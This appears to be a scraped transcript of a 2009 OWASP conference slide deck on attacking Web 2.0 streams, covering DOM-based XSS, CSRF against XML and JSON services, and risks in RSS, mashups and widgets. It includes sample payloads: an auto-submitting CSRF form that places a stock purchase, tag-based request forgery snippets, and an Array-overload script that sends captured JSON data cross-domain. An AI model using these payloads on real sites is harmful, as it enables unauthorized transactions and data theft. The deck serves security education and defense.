Top Banner
1 Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP http://www.owasp.org Hacking Web 2.0 Streams – Cross Domain Injection and Exploits Meeting (Sep-15- 2009) in Brussels Shreeraj Shah Founder & Director, Blueinfy [email protected] 91+987-902-7018 2 OWASP Who Am I? Founder & Director Blueinfy Solutions Pvt. Ltd. (Brief) SecurityExposure.com Past experience Net Square, Chase, IBM & Foundstone Interest Web security research Published research Articles / Papers – Securityfocus, O’erilly, DevX, InformIT etc. Tools – wsScanner, scanweb2.0, AppMap, AppCodeScan, AppPrint etc. Advisories - .Net, Java servers etc. Books (Author) Web 2.0 Security – Defending Ajax, RIA and SOA Hacking Web Services Web Hacking http://shreeraj.blogspot.com [email protected] http://www.blueinfy.com Blueinfy Solutions Pvt. Ltd. INDIA 8/B Shitalbaug society, Paldi Ahmedabad 380007 Tel: 91+9879027018 USA 900 S. Cardiff Street, Anaheim, CA 92806 Tel. 714-656-3652 Email: [email protected]
33

Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

Jul 14, 2020

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

1

Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

Hacking Web 2.0 Streams –Cross Domain Injection and Exploits

Meeting (Sep-15-2009) in Brussels

Shreeraj ShahFounder & Director, [email protected]+987-902-7018

2OWASP

Who Am I?

Founder & DirectorBlueinfy Solutions Pvt. Ltd. (Brief)SecurityExposure.com

Past experienceNet Square, Chase, IBM & Foundstone

InterestWeb security research

Published researchArticles / Papers – Securityfocus, O’erilly, DevX, InformIT etc.Tools – wsScanner, scanweb2.0, AppMap, AppCodeScan, AppPrint etc.Advisories - .Net, Java servers etc.

Books (Author)Web 2.0 Security – Defending Ajax, RIA and SOAHacking Web Services Web Hacking

http://[email protected]://www.blueinfy.com

http://[email protected]://www.blueinfy.com

Blueinfy Solutions Pvt. Ltd.INDIA8/B Shitalbaug society, PaldiAhmedabad 380007Tel: 91+9879027018

USA900 S. Cardiff Street, Anaheim, CA 92806Tel. 714-656-3652

Email: [email protected]

Page 2: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

2

3OWASP

Web/Enterprise 2.0 Application Audit Case

Enterprise running on 2.0 wave - Portal Technologies & Components – Dojo, Ajax, XML Services, Blog, WidgetsScan with tools/products failed failed –– Why?Why?Security issues and hacks

SQL injection over XMLAjax driven XSSSeveral XSS with Blog componentSeveral information leaks through JSON fuzzingCSRF on both XML and JS-Array

» HACKED» DEFENSE

4OWASP

Web/Enterprise 2.0 Application Audit Case

ImpactPossible to run sql queries remotelyChanging price and placing orderCustomer information enumerationStealing customer identitiesManipulation in JSON/XML streams and much moreGreat financial impact…

Page 3: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

3

5OWASP

Attacks and Hacks

80% Sites are having security issuesWeb Application Layer vulnerabilities are growing at higher rate in security spaceClient side hacking and vulnerabilities are on the rise – 5% to 30% (IBM)Web browser vulnerabilities is growing at high rateEnd point exploitation from OS to browser and its plugins

6OWASP

Web 2.0 Patterns

Q1 2009 showed a steep rise in attacks against Web 2.0 sites. This is the most prevalent attack with 21% of the incidents. Attack vectors exploiting Web 2.0 features such as user-contributed content were commonly employed in Q1: Authentication abuse was the 2nd most active attack vector, accounting for 18% of the attacks, and Cross Site Request Forgery (CSRF) rose to number 6 with 8% of the reported attacks. Leakage of sensitive information remains the most common outcome of web hacks (29%), while disinformation came in 2nd with 26%, mostly due to the hacking of celebrity online identities.

» http://www.secure-enterprise20.org/

Page 4: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

4

7OWASP

Incidents

Adding filter through CSRF

Loading js file through flash from scrapbook

Attacking blogs and boards

XSS through RSS feed

Flash components

HTTP Response Splitting

Source: The Web Hacking Incidents Database [http://webappsec.org/projects/whid/]

8OWASP

Twitter hacks

Page 5: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

5

9OWASP

Facebook

10OWASP

MySpace

Page 6: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

6

11OWASP

Google

12OWASP

Gmail

Page 7: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

7

13OWASP

Yahoo!

14OWASP

Enterprise Attack Profile

Corporate Resources

Customer informationIntellectual property

Confidential documents

XSS

SQL Injection

Bruteforce

Command inj.

LDAP/XPATH inj.

Ajax/RIA Hacks

Web 2.0 worms

Resource Predict.

Directory indexing

SSI vector

Path traversal

Page 8: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

8

15OWASP

Enterprise 2.0 Architecture

HTML / JS / DOM

RIA (Flash)

Ajax

Browser

Internet

Blog

Web 2.0 Start

Database Authentication

Application Infrastructure

Web ServicesEnd point

InternetMails

News

Documents

Weather

Bank/Trade

RSS feeds

16OWASP

Ajax Flash / RIA

HTML/CSS JavaScript

Widget DOM

SOAP XML-RPC

HTTP/HTTPS

JSON XML

RSS/ATOM Text

JS-Objects Custom

SOA/WOA SaaS

Web Services Ajax

Traditional APIs

REST

Client Layer

Protocol Layer

Structure Layer

Server Layer

Enterprise 2.0 Components

Page 9: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

9

17OWASP

Let’s look at few apps

Ajax calls -JSON/Flash driven app -DWR – Java remoting app -

Demo

Demo

Demo

18OWASP

Web 2.0 Fingerprinting

Identifying Web and Application servers.Forcing handlers to derive internal plugin or application servers like Tomcat or WebLogic.Looking for Axis or any other Web Services container.Gives overall idea about infrastructure.

Page 10: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

10

19OWASP

Ajax/RIA call

20OWASP

Ajax/RIA call

Demo

Page 11: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

11

21OWASP

Discovery

JSON

XML JS-Script

JS-ArrayJS-Object

Demo

22OWASP

RIA fingerprints

Demo

Demo AMF discovery

HTTP Service

Page 12: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

12

23OWASP

Web 2.0 Dimension to Crawling

Ajax resourcesRIA and Silverlight componentsIt needs to mapped as wellVery critical step to do Web 2.0 crawlingNeed to do JavaScript traversing and dynamic executionDifferent approach is required

24OWASP

Crawling challenges

Dynamic page creation through JavaScript using Ajax.DOM events are managing the application layer.DOM is having clear context.Protocol driven crawling is not possible without loading page in the browser.

Page 13: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

13

25OWASP

Ajax driven site

DemoDemo Watir usage …

26OWASP

Flash/Flex/Silverlight streams

There are various different set of calls for flex/flash appsAMF and other internalsSOAP over AMF etc…Discovering through proxyReverse engineering callsSilverlight calls

Demo

Demo

Page 14: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

14

27OWASP

Fuzzing streams

Web 2.0 stream fuzzingManipulating JSON, SOAP or AMF trafficLooking out for responseVulnerability detection based on that

Demo

Demo Blind

28OWASP

Web Services and SOAP streams

Discovering WSDL or entry points for Web ServicesFetching hidden calls and methodsBuilding SOAP Fuzzing SOAPVulnerability detection…

Demo

Demo

Demo

Page 15: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

15

29OWASP

DOM based XSS

Ajax based XSS is relatively new way of attacking the clientCode written on browser end can be vulnerable to this attacksVarious different structures can have their own confusionInformation processing from un-trusted sources can lead to XSS

30OWASP

DOM based XSS

Stream can be injected into the Ajax routineIf function is vulnerable to XSS then it executes the scriptScript can be coming in various formsWeb 2.0 applications are consuming various scripts and that makes it vulnerable to this set of attacks

Page 16: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

16

31OWASP

Anatomy of an XSS attack

WebServer DB

DB

Web app

attacker

Web app

Web app

proxy

WebClient

8008

Third party

32OWASP

Anatomy of an XSS attack

WebServer DB

DB

Web app

attacker

Web app

Web app

proxy

WebClient

8008

Third party source

Page 17: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

17

33OWASP

Anatomy of an XSS attack

WebServer DB

DB

Web app

attacker

Web app

Web app

proxy

WebClient

8008

Third party source

Stream

eval()

XSS

34OWASP

DOM based XSS

if (http.readyState == 4) {var response = http.responseText; var p = eval("(" + response + ")");document.open(); document.write(p.firstName+"<br>");document.write(p.lastName+"<br>");document.write(p.phoneNumbers[0]); document.close();

Page 18: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

18

35OWASP

Anatomy of an XSS attack

WebServer DB

DB

Web app

attacker

Web app

Web app

proxy

WebClient

8008

XML

Stream

eval()

XSS

36OWASP

Anatomy of an XSS attack

WebServer DB

DB

Web app

attacker

Web app

Web app

proxy

WebClient

8008

JSON

Stream

eval()

XSS

Page 19: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

19

37OWASP

Anatomy of an XSS attack

WebServer DB

DB

Web app

attacker

Web app

Web app

proxy

WebClient

8008

JS-Array

Stream

eval()

XSS

38OWASP

Anatomy of an XSS attack

WebServer DB

DB

Web app

attacker

Web app

Web app

proxy

WebClient

8008

JS-Script

Stream

eval()

XSS

Demo JSON XSS

Demo JS-Object XSS

Page 20: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

20

39OWASP

DOM based XSS

document.write(…) document.writeln(…) document.body.innerHtml=…document.forms[0].action=…document.attachEvent(…) document.create…(…) document.execCommand(…) document.body. …window.attachEvent(…) document.location=…document.location.hostname=…document.location.replace(…) document.location.assign(…) document.URL=…window.navigate(…)

40OWASP

DOM based XSS

document.open(…) window.open(…) window.location.href=… (and assigning to

location’s href, host and hostname) eval(…) window.execScript(…) window.setInterval(…) window.setTimeout(…) Demo

Scanning for XSS

Page 21: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

21

41OWASP

Cross Site Request Forgery (CSRF)

Generic CSRF is with GET / POSTForcefully sending request to the target application with cookie replayLeveraging tags like

IMGSCRIPTIFRAME

Not abide by SOP or Cross Domain is possible

42OWASP

Request generation

IMG SRC<img src="http://host/?command">

SCRIPT SRC<script src="http://host/?command">

IFRAME SRC<iframe src="http://host/?command">

Page 22: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

22

43OWASP

Request generation

'Image' Object<script>var foo = new Image();foo.src = "http://host/?command";</script>

XHR – Cross domain difficult

44OWASP

Request generation

It is possible to generate POST as wellForm can be build dynamically and button click from JavaScript is possible

<script type="text/javascript" language="JavaScript">

document.foo.submit();</script>

Page 23: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

23

45OWASP

Cross Site Request Forgery (CSRF)

What is different with Web 2.0Is it possible to do CSRF to XML streamHow?It will be POST hitting the XML processing resources like Web ServicesJSON CSRF is also possibleInteresting check to make against application and Web 2.0 resources

46OWASP

One Way CSRF Scenario

Page 24: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

24

47OWASP

One Way CSRF Scenario

48OWASP

One Way CSRF Scenario

Page 25: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

25

49OWASP

One Way CSRF Scenario

50OWASP

One-Way CSRF

Demo

Page 26: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

26

51OWASP

One-Way CSRF

<html><body><FORM NAME="buy" ENCTYPE="text/plain" action="http://trade.example.com/xmlrpc/trade.rem" METHOD="POST">

<input type="hidden" name='<?xml version'value='"1.0"?><methodCall><methodName>stocks.buy</methodName><params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></params></methodCall>'></FORM><script>document.buy.submit();</script></body></html>

Demo

52OWASP

Forcing XML

Splitting XML stream in the form.Possible through XForms as well.Similar techniques is applicable to JSON as well.

Page 27: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

27

53OWASP

Two-Way CSRF

One-Way – Just making forceful request.Two-Way

Reading the data coming from the targetMay be getting hold onto important information –profile, statements, numbers etc.Is it possible with JSON/XML

54OWASP

Two-Way CSRF

Page 28: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

28

55OWASP

Two-Way CSRF

56OWASP

Two-Way CSRF

Application is serving various streams like –JSON, JS-Object, Array etc.

Page 29: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

29

57OWASP

Two-Way CSRF

Attacker page can make cross domain request using SCRIPT (firefox)Following code can overload the array stream.function Array() { var obj = this; var index = 0; for(j=0;j<4;j++){ obj[index++] setter = spoof; } } function spoof(x){ send(x.toString()); }

58OWASP

Two-Way CSRF

Demo

Page 30: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

30

59OWASP

Two-Way CSRF

It is possible to overload these objects.Reading and sending to cross domain possible.Opens up two way channel for an attacker.Web 2.0 streams are vulnerable to these attacks.

60OWASP

Web 2.0 Components

There are various other components for Web 2.0 Applications

RSS feedsMashupsWidgetsBlogsFlash based components

Page 31: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

31

61OWASP

RSS feeds

RSS feeds coming into application from various un-trusted sources.Feed readers are part of 2.0 Applications.Vulnerable to XSS.Malicious code can be executed on the browser.Several vulnerabilities reported.

62OWASP

RSS feeds

Demo

Page 32: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

32

63OWASP

Mashups

API exposure for Mashup supplier application.Cross Domain access by callback may cause a security breach.Confidential information sharing with Mashup application handling needs to be checked – storing password and sending it across (SSL)Mashup application can be man in the middle so can’t trust or must be trusted one.

Demo

64OWASP

Widgets/Gadgets

DOM sharing model can cause many security issues. One widget can change information on another widget – possible.CSRF injection through widget code.Event hijacking is possible – Common DOMIFrame – for widget is a MUST

Demo

Page 33: Cross Domain Injection and Exploits · Ajax/RIA call OWASP 20 Ajax/RIA call Demo. 11 OWASP 21 Discovery JSON XML JS-Script JS-Array JS-Object Demo OWASP 22 RIA fingerprints Demo Demo

33

65OWASP

Securing Web 2.0

Source Code ScanningWAF – SOAP/JSONSecure Coding PracticesAudit standards – OWASP, PCI-DSS or CVE/CWE

Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

Questions & Conclusion